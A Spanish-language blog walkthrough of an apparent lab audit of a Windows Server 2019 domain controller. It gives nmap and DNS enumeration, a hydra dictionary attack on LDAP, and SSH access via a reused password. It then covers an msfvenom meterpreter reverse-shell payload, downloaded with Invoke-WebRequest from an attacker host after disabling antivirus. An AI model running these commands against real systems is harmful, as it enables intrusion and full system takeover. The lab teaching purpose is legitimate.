Hola a todos los lectores. El post que leeréis a continuación es una máquina virtual creada para auditarla, y encontrar fallos en la seguridad del sistema. La que trabajaremos a continuación en concreto será Windows Server 2019. Esta máquina es un claro ejemplo de como el factor humano es el eslabón mas débil en cuanto a la ciberseguridad.
# DESCUBRIMIENTO
Una vez reconocida el IP del Host víctima, ya sea por descubrimiento de la red o por que se conoce, analizaremos los puertos de la máquina con nmap para averiguar que servicios pueden estar en uso:
nmap [IP] -sS -sV -A -O -f -p0-65535 --script=discoveryAnalizamos brevemente los puertos:
- 22/tcp open ssh
- 53/tcp open domain
- -controladordom.TSS.local. IN SRV
- -TSS.local
- 80/tcp open http
- 88/tcp open kerberos-sec
- 135/tcp open msrpc
- 139/tcp open netbios-ssn
- 389/tcp open ldap
- 445/tcp open microsoft-ds
- 464/tcp open kpasswd5
- 593/tcp open http-rpc-epmap
- 636/tcp open ldapssl
- 3268/tcp open globalcatLDAP
- 3269/tcp open globalcatLDAPssl
- 5985/tcp open wsman
- 9389/tcp open adws
- (Demás puertos desconocidos..)
El escaneo nos muestra una configuración de puertos de acorde a Windows Active Directory, en el que a demás están configurados DNS, KERBEROS, LDAP a demás de otros.
Sobre todo lo que nos interesa es enumerar los puertos para ver configuraciones fallidas, sesiones de servicios anónimas, enumeración de usuarios y contraseñas inseguras.
# ENUMERACIÓN:
En esta fase dirigiremos una serie de comandos hacia el host Victima con el fin de extraer mas información del mismo. Una buena opción es comenzar por los puertos 53 y 80:
Comandos para enumeración del DNS:
dig any @192.168.86.154 TSS.local;TSS.local. IN ANY
TSS.local. 3600 IN NS controladordom.TSS.local.
TSS.local. 3600 IN SOA controladordom.TSS.local.
hostmaster.TSS.local. 336 900 600 86400 3600
Con esta consulta podemos averiguar el nombre del servidor de nombres. De haberlo, también nos mostraría información del zone transfer.
fierce --domain TSS.local --dns-servers 192.168.86.154NS: controladordom.TSS.local.
SOA: controladordom.TSS.local. (192.168.86.154)
Zone: failure
dnsrecon -d TSS.local -n 192.168.86.154Y además, combinando estas enumeraciones en busca de subdominios, hemos podido identificar la siguiente información:
DNSSERVERS
——————————————————————
192.168.86.154 TSS.local
192.168.86.154 controladordom.TSS.local
——————————————————————
HOSTS
——————————————————————
Name: EQUIPO-1.TSS.local
Address: 192.168.100.136
Name: PC-pocez.TSS.local
Address: 192.168.100.146
NOTA: Este host es un entorno emulado en VMWare por tanto la mayoría de configuración de la red respecto a otros hosts no se aplica, cosa que no pasaría en un entorno real.
Respecto al Puerto 80 HTTP, se le han realizado pruebas de descubrimiento todo tipo, así como fuzzing y tratando de averiguar directorios por fuerza bruta. Nada de esto funciona porque la parte web del servidor está completamente vacía, mostrando tan solo la index Standar:
Aquí dejo un ejemplo de una petición 200 y otra 400 al servidor:
GET / HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sun, 04 Apr 2021 06:26:11 GMT
Accept-Ranges: bytes
ETag: "792da681b29d71:0"
Server: Microsoft-IIS/10.0
Date: Fri, 18 Oct 2024 12:17:42 GMT
Connection: close
Content-Length: 703
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Fri, 18 Oct 2024 12:48:13 GMT
Connection: close
Content-Length: 324No merecería la pena seguir enumerando este puerto porque poca mas información nos aportaría.
# EXPLOTACIÓN:
Enumerando uno tras uno los servicios de los demás puertos, en busca de sesiones anónimas, me doy cuenta de que no están permitidas en ningún puerto, por lo que decido centrarme en LDAP 389.
Aunque no es común el ataque de diccionario en esta altura de la auditoria, decido realizárselo al servicio ldap probando varios usuarios comunes teniendo en cuenta que el servidor es español:
- admin
- administrator
- usuario
- administrador
hydra -l administrador@TSS.local -P /path/for/dics/rockyou.txt $ip ldap2 -V -fEl servicio no está bloqueando los numerosos intentos de sesión de hydra, lo cual juega a nuestro favor ya que no está securizado adecuadamente y el atacante podría adivinar la contraseña con un diccionario.
Finalmente tenemos suerte con el usuario administrador@TSS.local y la contraseña poc1214POC!.
Este hecho, hace que sin más me pique la curiosidad por ver, si el administrador tuvo la flagrante idea de usar la misma contraseña en otros servicios. El resultado es positivo, «poc @ POC» van cayendo cada uno de los servicios ante esta contraseña tan insegura. Así que paso directamente a ejecutar una tty ssh con el Host Victima:
ssh administrador@TSS.local# POST-EXPLOTACIÓN
El objetivo de esta fase es comprobar de cuantos permisos cuenta el usuario con el que se accedió al sistema, así como elevar los privilegios a escala NT AUTHORITIY\SYSTEM. Para ello deberemos de recabar información suficiente que nos permita saber como operar para llevar esto a cabo:
Como tenemos gran parte de los privilegios, desarrollaremos un reverse_shell en PowerShell con msfvenom para que meterpreter cambie el usuario a NT AUTH/ SYSTEM. Para ello ejecutamos el siguiente comando:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.86.155 LPORT=4444 -f psh -o reverse_shell.ps1
Luego subimos el script con un SimplePythonServer, y lo descargamos sobre la powershell de la máquina víctima con el siguiente comando:
Invoke-WebRequest -Uri http://192.168.86.155:8000/reverse_shell.ps1 -OutFile reverse_shell.ps1
NOTA: Primero, deberemos de hallar la manera de desactivar la protección de virus en tiempo real a través de cmd o powershell.
Luego, cuando la seguridad ha sido desactivada, ejecutamos el script con la powershell de windows:
./revershe_shell.ps1Por otro lado tenemos que tener el listener preparado y escuchando, y así se iniciaría la sesión con meterpreter que nos permitiría ganar el sistema por completo:
Hasta aquí llega la explotación de esta máquina, la cual debemos considerar insegura ya que se ha usado la misma contraseña débil para todos los servicios del usuario Administrador. Además este tiene la gran mayoría de los permisos de administración, lo que nos permitió desactivar la seguridad de windows y subir un troyano en formato ps1. Más tarde, con la sesión de meterpreter hemos podido cambiar al usuario NT AUTHORITY/SYSTEM dando por concluido este ensayo.
¡Muchas gracias por su lectura!
--> Root Hub <-- 